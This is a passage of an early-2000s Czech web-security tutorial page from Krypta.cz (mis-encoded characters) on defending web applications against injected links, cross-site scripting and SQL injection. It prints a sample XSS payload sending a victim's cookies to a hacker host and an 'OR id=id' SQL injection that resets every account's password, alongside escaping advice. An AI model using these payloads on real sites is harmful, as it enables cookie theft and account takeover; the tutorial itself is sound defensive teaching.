  316.     Pokud bychom cht∞li ovÜem zachovat veÜkerou funkΦnost, musφme se na problΘm podφvat trochu komplexn∞ji. Je t°eba, aby nßÜ parser zam∞nil vÜechny odkazy za jeden jedin², kter² nebude pou₧φvat p°edßvßnφ bezpeΦnostnφho k≤du v URL. V praxi to bude fungovat asi takhle : odkaz www.cizi.cz bude zm∞n∞n na www.muj.cz/jump.php?url=www.cizi.cz. Soubor jump.php potom vygeneruje n∞co jako P°esm∞rovßn na www.cizi.czà<SCRIPT>doument.location=www.cizi.cz;</SCRIPT>. Takovß malß rada : p°esnΘ aplikovßnφ prßv∞ popsanΘho skriptu zp∙sobφ nefunkΦnost kliknutφ na tlaΦφtko Back, nebo¥ u₧ivatel je zßhy op∞t p°esm∞rovßn äForwardö.
  317. </DIV></FONT></b></i>
  318. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  319.     P°i aplikovßnφ t∞chto obrann²ch postup∙ je nutnΘ jednak zkontrolovat na HTML k≤d skuteΦn∞ vÜechna data od u₧ivatele, kterß se kdy mohou na obrazovku vypsat (Co t°eba v∞k chatujφcφho?), jednak poΦφtat s tφm, ₧e odkaz nemusφ b²t p°edßn v₧dy jen parametrem href.
  320. </DIV></FONT></b></i>
  321. <A Name="Title8"><FONT Size=3><DIV Class=Headline>
  322. PROBL╔M P┴T▌ : ZbyteΦnΘ vystavovßnφ vlastnφch cookies</DIV></font>
  323. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  324.     P°i pou₧φvßnφ formulß°∙ se m∙₧e stßt, ₧e ·myslnΘ vlo₧enφ HTML tag∙ do inputboxu zp∙sobφ vykonßnφ k≤du, kter² bude mφt prßva k vaÜim cookies! Uvedu mal² p°φklad. Server pana Novßka nabφzejφcφ podrobnΘ statistiky o nßvÜt∞vnosti uklßdß permanentnφ cookies u ka₧dΘ navÜtφvenΘ strßnky (to d∞lß jak Navrcholu tak Toplist, je to u₧iteΦnß funkce). Jen₧e pan Novßk opomenul ve v²sledku vyhledßvßnφ p°evΘst znaky <> na & lt; a & gt;. Pokud ze svΘ strßnky zavolßme (nap°. v IFRAMU) adresu www.novak.cz?hledej=<SCRIPT>document.location=www.hacker.cz?+document.cookies;/</SCRIPT>, zφskßme tak minimßln∞ www strßnky, kterΘ ob∞¥ naΦetla, dokonce i s Φasem nßvÜt∞vy. Docela sluÜnß ztrßta anonymity, navφc jsme zφskali docela u₧iteΦnß marketingovß data. NaÜt∞stφ jde problΘm jednou ranou na serveru odstranit, nicmΘn∞ minimßln∞ den bude pan Novßk na internetu vlßΦen pomysln²m digitßlnφm binßrnφm bahnemà
  325. </DIV></FONT></b></i>
  326. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  327.     I kdy₧ cookies uklßdanΘ vaÜφm serverem nejsou zrovna d∙v∞rnΘ povahy (r∙znß nastavenφ apodà), neoÜet°enφ tohoto problΘmu dßvß mo₧nost zjistit, zda nßvÜt∞vnφk vßÜ server navÜt∞vuje a podle v²sledku na n∞j t°eba zacφlit (konkurenΦnφ!) reklamu (pakli₧e cookies neposφlß ka₧dß strßnka, to by pochopiteln∞ nefungovaloà). A kolik ₧e stojφ u vßs t∞ch tisφc impresφ? àtolik? D∞kuji, mßm jeÜt∞ jinΘ prost°edkyà Tento problΘm je v principu pln∞ äfunkΦnφô ve vÜech prohlφ₧eΦφch a na vÜech platformßch.
  328. </DIV></FONT></b></i>
  329. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  330.     Pokud dovolφme, aby ·toΦnφk vklßdal na naÜe strßnky sv∙j k≤d, otevφrßme mu Φist∞ teoreticky dalÜφ mo₧nost pr∙niku. Jeliko₧ je takov²to cizφ k≤d pova₧ovßn za nßÜ, cross-frame scripting policy popisovan² o pßr odstavc∙ nφ₧e ho povolφ a obsah naÜφ strßnky je pln∞ (na ·rovni DHTML) vydßn n∞komu cizφmuà
  331. </DIV></FONT></b></i>
  332. <A Name="Title9"><FONT Size=3><DIV Class=Headline>PROBL╔M èEST▌: JavaScript m∙₧e b²t zl²</DIV></font>
  333. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  334.     V drtivΘ v∞tÜin∞ p°φpad∙ prolomenφ bezpeΦnostnφch mechanizm∙ na ·rovnφ, o kterΘ si dnes povφdßme, hraje funkΦnost JavaScriptu klφΦovou roli. AΦkoliv se jednß pouze o skript b∞₧φcφ s velk²mi omezenφmi, v rukou nep°φtele jde o velmi siln² nßstroj. P°itom pouhΘ p°esm∞rovßnφ strßnky pomocφ vlo₧enΘho javascriptu m∙₧e b²t pro provozovatele velikß rßna. Nejen₧e web p°estßvß b²t funkΦnφ, ale cφlovß adresa m∙₧e b²t nap°φklad nabφdka konkurence apod. Doufßm, ₧e si to programßto°i serveru Äiv∞ uv∞domφ, nebo¥ diskuse k Φlßnku o hackovßnφ freemail∙ je plnß (·sp∞Ün²ch) pokus∙ o p°esm∞rovßnφ...
  335. </DIV></FONT></b></i>
  336. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  337.     Tedy, jak se brßnit? Problematick² JavaScript m∙₧e b²t do strßnky vlo₧en t∞mito zp∙soby : 
  338. </DIV></FONT></b></i>
  339. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  340.     <UL STYLE="margin-right:50px;" Class=LinkItem><LI> P°φmo pomocφ tagu <SCRIPT>. Ten se m∙₧e "p°ipφchnout" urΦitΘmu objektu a udßlosti pomocφ parametr∙ FOR a EVENT, tedy nap°. <SCRIPT FOR="form1" EVENT="submit"></UL>
  341. </DIV></FONT></b></i>
  342. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  343.     <UL STYLE="margin-right:50px;" Class=LinkItem><LI> Jako udßlost n∞jakΘho objektu. Takov²to skript m∙₧e ovlivnit vlastnφ tok dat velmi omezen∞. M∙₧e ale m∞nit jakΘkoliv HTML vlastnosti, vΦetn∞ p°esm∞rovßnφ. NebezpeΦnß je p°edevÜφm udßlost onload (k≤d se spustφ ihned po naΦtenφ objektu), ale ke stejn²m ·Φel∙m m∙₧e nap°. u obrßzku slou₧it onreadystatechange nebo onerror. Pokud je objektem odkaz, p°ipadß v ·vahu "hejh∙°e" onmouseover. V tomto p°φpad∞ nenφ vykonßnφ k≤du jistΘ, pravd∞podobn∞ zßvisφ na velikosti objektu. Ta m∙₧e ovÜem b²t kaskßdov²mi styly zm∞n∞na, stejn∞ tak jako absolutnφ poloha. Okam₧itΘ spuÜt∞nφ je tak mo₧nΘ.</UL>
  344. </DIV></FONT></b></i>
  345. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  346.     <UL STYLE="margin-right:50px;" Class=LinkItem><LI> IFRAME s cizφm obsahem. Takov²to objekt m∙₧e d∞lat vÜe, co se net²kß p∙vodnφ strßnky, tedy otvφrat novß okna, p°esm∞rovat prohlφ₧eΦ apod.</UL>
  347. </DIV></FONT></b></i>
  348. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  349.     <UL STYLE="margin-right:50px;" Class=LinkItem><LI> IFRAME s vlastnφm obsahem. Jeliko₧ jde o stejnou domΘnu, mß pomocφ DHTML stejnΘ mo₧nosti, jako skript vlo₧en² pomocφ tagu <SCRIPT></UL>
  350. </DIV></FONT></b></i>
  351. <A Name="Title10"><FONT Size=3><DIV Class=Headline>
  352. PROBL╔M SEDM▌: Vklßdßnφ vlastnφch SQL podmφnek</DIV></font>
  353. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  354.     ╚ast²m bezpeΦnostnφm problΘmem je opomenutφ ävyescapovßnφô r∙zn²ch citliv²ch znak∙, nejΦast∞ji uvozovek a apostrof∙. Zmφnil bych se o tom jen v principu, nebo¥ konkrΘtnφ zneu₧itφ takovΘhoto problΘmu je vysoce individußlnφ a zßvisφ na konkrΘtnφ implementaci. Tedy, u₧ivatelskΘ vstupy z internetov²ch formulß°∙ b²vajφ velmi Φasto nßsledn∞ obsa₧eny v SQL dotazech. Z tohoto d∙vodu je nutnΘ zabrßnit tomu, aby u₧ivatel mohl s dotazem jakkoliv manipulovat. Typick² p°φklad m∞n∞nφ hesla do www aplikace. V HTML k≤du mßme skryt² (hidden) input äidô, identifikujφcφ jedineΦnΘ idΦko u₧ivatelova ·Φtu. Dotaz, kter² zm∞nφ heslo m∙₧e vypadat nap°φklad nßsledovn∞ (PHP) : UPDATE Accounts SET Password=Æ$newpassÆ WHERE id=$id. Takov²to SQL p°φkaz ovÜem m∙₧eme vhodnou modifikacφ neviditelnΘho ale p°episovatelnΘho idΦka zm∞nit t°eba na takovouhle pohromu : UPDATE Accounts SET Password=ÆhesloÆ WHERE id=123 OR id=id. P∙vodnφ Φφselnou hodnotu 123 jsme tedy zm∞nili na ä123 OR id=idö, kterß zp∙sobφ, ₧e slo₧en² v²rok (nebo, or) bude pravdiv² v₧dy a heslo ähesloô se nastavφ VèEM ·Φt∙m v systΘmu! Ugh!
  355. </DIV></FONT></b></i>
  356. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  357.     Obrana je relativn∞ jednoduchß. Server-side skriptovacφ jazyky (PHP, ASPà) majφ pov∞tÜinou funkce, kterΘ nebezpeΦnΘ znaky n∞jak²m zp∙sobem zak≤dujφ. Na ·rovni HTML se znaky < > a ö p°evßd∞jφ na & lt; & gt; a & quot; (v tomto po°adφ), na ·rovni SQL se pou₧φvß zp∞tnΘho lomφtka p°ed znakem, tedy t°eba Æ se nepova₧uje za äfunkΦnφô apostrof. Zßle₧nφ na konkrΘtnφm jazyku, v PHP se nap°φklad pou₧φvajφ funkce AddSlashes() a StripSlashes(). Takovß malß poznßmka na konec : i kdy₧ v SQL dotazu porovnßvßme sloupec na Φφslo, Φasto je mo₧nΘ psßt ho do apostrof∙ (t°eba u MySQL), zde ukazovan² chybn² p°φklad by m∞l sprßvn∞ konΦit MySQL_Query(äà WHERE id=æô.AddSlashes($pass).ôæàô). P°i programovßnφ sofistikovan∞jÜφho parseru doporuΦuji v∞ci nep°ekombinovat, aby se vßm n∞jakß ulφtlß sekvence nep°ekonvertovala zp∞t na nikdy necht∞nΘ hodnotyà
  358. </DIV></FONT></b></i>
  359. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  360.     Toto by m∞la b²t struΦnß pr∙prava zßkladnφmi mechanizmy bezpeΦnΘ webovΘ aplikace. V p°φÜtφm dφle se pustφme do vlastnφho programovßnφ.
  361. </DIV></FONT></b></i>
  362. <FONT Size=2><DIV Align=Justify Class=Paragraph>
  363.      
  364. </DIV></FONT></b></i>
  365. </DIV>
  366. <SCRIPT>
  367. TextEnd('')
  368. </SCRIPT><SCRIPT>
  369. o('<br>');
  370. hr('');
  371. o('<TABLE '+CP+' '+CS+' style=\'position:relative;top:-'+sw('7','9')+'px;z-index:5\' xAlign=left '+B+'><TR><TD width=10><img HEIGHT=18 WIDTH=14 src=images/downgreyleft.gif hspace=0 vspace=0 '+B+' align=right><TD bgcolor=#E0E0E0><SPAN Style="font-size:12px;color:#000000;font-family:Verdana, Arial, Sans-Serif;position:relative;top:-2px;">Souvisejφcφ člßnky</SPAN><TD width=10><img src=images/downgreyright.gif width=17 height=18  hspace=0 vspace=0 '+B+' '+AL+'></TABLE>');
  372. </SCRIPT><OL Class=None Type=Disc><LI style='margin-left:20px;' class=LinkItem><a href=articles.php@ID=110><SPAN Class=SeeAlso>HTML problΘm :  cizφ k≤d a formulß°e</SPAN></a><LI style='margin-left:20px;' class=LinkItem><a href=articles.php@ID=80><SPAN Class=SeeAlso>Krademe cookies v Exploreru : krok za krokem</SPAN></a><LI style='margin-left:20px;' class=LinkItem><a href=articles.php@ID=50><SPAN Class=SeeAlso>WebTIP: CookieCentral.com</SPAN></a><LI style='margin-left:20px;' class=LinkItem><a href=articles.php@ID=74><SPAN Class=SeeAlso>Microsoftu hackli Passport</SPAN></a><LI style='margin-left:20px;' class=LinkItem><a href=articles.php@ID=33><SPAN Class=SeeAlso>BezpeΦnost a autorizace na WWW II.</SPAN></a><LI style='margin-left:20px;' class=LinkItem><a href=articles.php@ID=143><SPAN Class=SeeAlso>HTML viry realitou i pro antivirovΘ programy</SPAN></a><LI style='margin-left:20px;' class=LinkItem><a href=articles.php@ID=155><SPAN Class=SeeAlso>Zßkladnφ obrana proti p°evzetφ domΘny na stran∞ klienta</SPAN></a><LI style='margin-left:20px;' class=LinkItem><a href=articles.php@ID=173><SPAN Class=SeeAlso>Cache m∙₧e slou₧it k p°enesenφ ·toΦnΘho k≤du</SPAN></a><LI style='margin-left:20px;' class=LinkItem><a href=articles.php@ID=162><SPAN Class=SeeAlso>BezpeΦnostnφ nedostatky i na presti₧nφch zpravodajsk²ch webech z oblasti ICT</SPAN></a></OL><SCRIPT>
  373. nie('<br>');AdditionalTablesBegin();
  374.  
  375. CommentsBegin('PφÜeme bezpeΦnou webovou aplikaci - dφl 1.',1);
  376.  
  377. Comment('52','                                 <IMG Src=images/sub.gif valign=top> Testovaci komentar','Michal Till','11');
  378. CommentsEnd();
  379. </SCRIPT><SCRIPT>
  380. ArticleEnd()
  381. </SCRIPT></TABLE>
  382. <!-- /Prostredni sloupec -->
  383.  
  384.  
  385. <!-- Mezera 3 -->
  386.  
  387. <td width=5><img src="images/spacer.gif" width="5" height="1" border="0" alt=""></td>
  388. <!-- /Mezera 3-->
  389.  
  390. <!-- Mezera 2 -->
  391. <td width=1 bgcolor=#1063A5><img src="images/spacer.gif" width="1" height="1" border="0" alt=""></td>
  392. <!-- /Mezera 2-->
  393.  
  394. <!-- Mezera 1-->
  395. <td width=13 bgcolor="#006792" ><img src="images/spacer.gif" width="13" height="1" border="0" alt=""></td>
  396. <!-- /Mezera 1-->
  397.  
  398. <!-- Pravy sloupec -->
  399. <td bgcolor=#006792 width="0" align="center" valign="top">
  400. <SCRIPT SRC=server/right_js.php@version=1621></SCRIPT><br>
  401. </td>
  402. <!-- /Pravy sloupec -->
  403.  
  404.  
  405. </tr>
  406.  
  407. <!-- Bilo -->
  408. <tr>
  409. <td bgcolor=#000000><img src=space.gif height=1 width=1></td>
  410. <td bgcolor=#000000></td>
  411. <td bgcolor=#000000></td>
  412. <td bgcolor=#FFFFFF></td>
  413. <td bgcolor=#FFFFFF></td>
  414. <td bgcolor=#FFFFFF></td>
  415. <td colspan=5 bgcolor=#000000></td>
  416. </tr>
  417. <tr  bgcolor=#FFFFFF>
  418. <td><img src=space.gif height=20 width=1></td>
  419. <td></td>
  420. <td></td>
  421. <td></td>
  422. <td></td>
  423. <td></td>
  424. <td colspan=5></td>
  425. </tr>
  426. <!-- /Bilo-->
  427.  
  428.  
  429.  
  430. </table>
  431. <!-- /Rozdeleni na sloupce -->
  432.  
  433. <SCRIPT>
  434.     Exec(ToExecute);
  435.     ToExecute="";
  436. </SCRIPT>
  437.  
  438. <!-- Dolni lista -->
  439.  
  440.  
  441. <!-- Paticka -->
  442. <TABLE cellspacing="0" cellpadding="0" border="0" width="100%" bgcolor=#ffffff>
  443. <TR><td colspan=5 align="center" bgcolor=#000000><img src=space.gif height=1 width=1></td></TR>
  444. <TR bgcolor=#f0f0f0>
  445. <td align="center">
  446. <IMG Src=images/logo2.gif hspace=10 vspace=5>
  447. </td>
  448. <td>
  449. <DIV Style="margin-top:4px;margin-bottom:4px;" Class=Copyright><FONT Face=Arial Size=1>
  450.  
  451. <b><u>Krypta.cz</u></b> -  Magazφn o informaΦnφ bezpeΦnosti.<br>
  452. Copyright (C) 2000-2002 Krypta.cz - <a href=mailto:michal.till@krypta.cz>Michal Till</a> a <a href=mailto:jan.kulveit@krypta.cz>Jan Kulveit</a>. VÜechna prßva vyhrazena. <br>
  453. Tento server dodr₧uje prßvnφ p°edpisy o ochran∞ osobnφch ·daj∙, vΦetn∞ standardu P3P (<a href=server/policy.xml>policy</a>). </FONT></DIV>
  454. </td>
  455. <td>
  456. <IMG Src=geronimo.gif hspace=10 vspace=5>
  457. </td>
  458. <td>
  459. <DIV Style="margin-top:4px;margin-bottom:4px;" Class=Copyright><FONT Face=Arial Size=1>
  460. RedakΦnφ systΘm Geronimo<br>
  461. Copyright (C) 2001-2002 <a href=mailto:michal.till@krypta.cz>Michal Till</a>
  462. </FONT></DIV>
  463. </td>
  464. </td></tr></table>
  465. <!-- Paticka -->
  466.  
  467. <!-- /Dolni lista -->
  468.  
  469. </body>
  470. </html>